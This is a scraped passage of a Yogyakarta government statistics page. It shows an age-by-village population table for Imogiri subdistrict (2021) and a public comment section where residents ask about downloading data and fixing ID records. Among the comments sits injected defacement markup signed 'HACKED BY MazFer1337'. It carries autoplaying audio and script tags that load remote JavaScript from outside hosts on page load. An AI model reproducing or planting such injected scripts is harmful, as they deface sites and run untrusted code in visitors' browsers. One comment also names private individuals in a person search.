Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN IMOGIRI, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSELOPAMIOROSRIHARJOWUKIRSARIKEBONAGUNGKARANG TENGAHGIRIREJOKARANGTALUNIMOGIRITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun176151 3279599 194247213 4604550 956781 1486664 1303235 675247 99780 740 1.520
2 tahun9197 1886654 120110136 2462221 433532 673534 692024 442825 53407 423 830
3 tahun98112 2105663 119120125 2452628 543440 743337 702515 402819 47420 439 859
4 tahun9483 1776965 134128133 2612426 504137 783137 682524 492823 51440 428 868
5 tahun9488 1826662 128133123 2562621 474343 864125 66218 293531 66459 401 860
6 tahun112101 2136145 106145161 3062917 464731 782932 612219 413736 73482 442 924
7 tahun104110 2146870 138145138 2832732 593243 753437 711620 363432 66460 482 942
8 tahun103110 2137473 147154129 2832233 554736 833435 692823 513632 68498 471 969
9 tahun96103 1998662 148135145 2802423 475039 893438 722418 424230 72491 458 949
10 tahun11391 2046451 115156112 2683219 513935 742937 662620 463033 63489 398 887
11 tahun102117 2196864 132158139 2974029 694737 843738 752028 483729 66509 481 990
12 tahun11991 2106785 152155133 2882738 653342 753132 632114 354221 63495 456 951
13 tahun105123 2286871 139164148 3124334 773932 713840 782535 604436 80526 519 1.045
14 tahun101108 2096671 137123119 2424334 773744 813028 583423 573728 65471 455 926
15 tahun100100 2007472 146136141 2773229 614434 784336 791724 412132 53467 468 935
16 tahun9990 1896967 136122118 2402732 593733 703725 621625 412735 62434 425 859
17 tahun9477 1715459 11312799 2262635 612940 693827 652113 342418 42413 368 781
18 tahun9788 1857657 133137124 2612328 512931 603114 452013 332321 44436 376 812
19 tahun103107 2104861 109129124 2532626 523623 593830 681719 362624 50423 414 837
20 tahun94104 1986863 131109122 2312415 393727 643624 601917 362926 55416 398 814
21 tahun11194 2055458 112119130 2492730 574932 813434 682019 393443 77448 440 888
22 tahun10384 1876359 122116119 2353025 553544 792723 502125 463023 53425 402 827
23 tahun8888 1765152 103109102 2111720 373236 683341 741924 432623 49375 386 761
24 tahun93121 2146263 125102119 2212424 484231 733335 682320 432931 60408 444 852
25 tahun103112 2156557 12212399 2222227 494544 892529 542019 392322 45426 409 835
26 tahun123105 2286770 137132110 2422422 464043 832534 592223 452927 56462 434 896
27 tahun117125 2425269 121121138 2591323 364536 813330 632213 352126 47424 460 884
28 tahun108103 2116971 140136129 2651917 364636 823232 642319 422926 55462 433 895
29 tahun89101 1906566 131123140 2632428 524146 873939 781512 271933 52415 465 880
30 tahun113104 2175669 125141130 2713224 563957 962831 592024 442229 51451 468 919
31 tahun115102 2177369 142107133 2402225 473635 714224 662818 462338 61446 444 890
32 tahun11089 1997271 143117132 2492419 433444 783425 592121 422126 47433 427 860
33 tahun91106 1976265 127116130 2461921 403741 784137 782022 422530 55411 452 863
34 tahun117111 2285766 123118144 2622223 454741 883238 702029 492933 62442 485 927
35 tahun114118 2326963 132128123 2512530 554040 803035 652419 433434 68464 462 926
36 tahun116116 2326567 132153133 2862932 613739 764438 822620 462834 62498 479 977
37 tahun122117 2398165 146159149 3082631 574848 963736 731829 473740 77528 515 1.043
38 tahun111123 2347356 129159141 3003936 754537 824538 832621 473731 68535 483 1.018
39 tahun130119 2499285 177178147 3253432 665149 1004649 953134 654140 81603 555 1.158
40 tahun122114 2366182 143146140 2864834 825341 944636 823125 563230 62539 502 1.041
41 tahun140105 2458266 148139136 2752437 613839 774747 942927 563337 70532 494 1.026
42 tahun119112 2317385 158150128 2782830 583241 732932 612117 383041 71482 486 968
43 tahun9897 1956567 132139137 2763238 703249 814336 792218 403527 62466 469 935
44 tahun9391 1847358 131135132 2673434 683934 733431 652426 503233 65464 439 903
45 tahun116116 2325059 109125118 2432828 563041 712834 623121 523233 65440 450 890
46 tahun12782 2097970 149120125 2453234 664136 773933 722329 524534 79506 443 949
47 tahun8798 1857149 120143122 2652227 493134 651525 401819 372830 58415 404 819
48 tahun9399 1927261 133132118 2502828 563340 733327 602121 422430 54436 424 860
49 tahun111112 2236488 152132125 2572825 533832 703433 672422 463540 75466 477 943
50 tahun8167 1484747 949993 1922321 442127 482227 491724 412022 42330 328 658
51 tahun106117 2236663 129117139 2562830 584331 742336 592726 533024 54440 466 906
52 tahun92113 2056457 121128121 2491732 494441 852930 592335 583829 67435 458 893
53 tahun9494 1885366 119134132 2664625 714127 682830 581915 343024 54445 413 858
54 tahun8797 1845062 11299100 1993328 614037 774031 712027 471933 52388 415 803
55 tahun9484 1785255 10711297 2092122 433431 653036 662926 552835 63400 386 786
56 tahun10082 1826168 129105132 2372725 523742 793328 612322 453727 64423 426 849
57 tahun6978 1474565 110108115 2232231 533439 731918 372314 372733 60347 393 740
58 tahun9897 1955967 12686100 1862622 483132 633036 661527 422843 71373 424 797
59 tahun6792 1596260 12210690 1962629 553835 732926 552625 511420 34368 377 745
60 tahun7484 1585347 1006883 1512016 361329 421937 561418 322423 47285 337 622
61 tahun110108 2187683 159109136 2453032 623734 712624 503428 623130 61453 475 928
62 tahun83101 1845759 11691107 1981426 402522 473733 701415 292326 49344 389 733
63 tahun6998 1675071 12110679 1852817 452621 472728 552221 432123 44349 358 707
64 tahun6177 1385161 1129279 1712016 363137 682330 531026 362027 47308 353 661
65 tahun9085 1754962 1116973 1421620 362719 461422 362011 312126 47306 318 624
66 tahun7163 1345246 987673 1492027 471823 412726 531013 231325 38287 296 583
67 tahun6762 1295342 957285 1571010 201516 311717 341210 222020 40266 262 528
68 tahun5449 1033129 605746 1031614 301727 443421 551310 231114 25233 210 443
69 tahun5870 1283025 556040 100148 221919 381413 27813 211412 26217 200 417
70 tahun5752 1093224 563633 69159 241215 271521 3699 18811 19184 174 358
71 tahun6361 1243239 714972 1211714 312618 441615 31812 201612 28227 243 470
72 tahun3740 772940 693838 7657 121510 251017 27510 1588 16147 170 317
73 tahun4159 1002022 422931 6095 141017 27615 2179 16108 18132 166 298
74 tahun2830 58922 312029 4939 1268 1477 1424 636 978 115 193
75 tahun2542 67521 261537 5254 9910 1998 1773 10411 1579 136 215
76 tahun2854 822633 593352 85720 271712 29612 18109 1974 11134 196 330
77 tahun2523 481929 481420 3441 5710 17811 19410 14610 1687 114 201
78 tahun3842 802126 47925 34613 19612 181414 2873 1049 13105 144 249
79 tahun2933 622220 423257 89610 1636 9109 1958 1369 15113 152 265
80 ke atas135246 38186142 228127265 3922554 795278 1304177 1182234 562642 68514 938 1.452
Jumlah7.4067.51514.9214.6634.7939.4568.9478.99017.9371.9231.9713.8942.7132.7115.4242.3962.4074.8031.5771.5703.1472.0902.1484.238 31.715 32.105 63.820
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih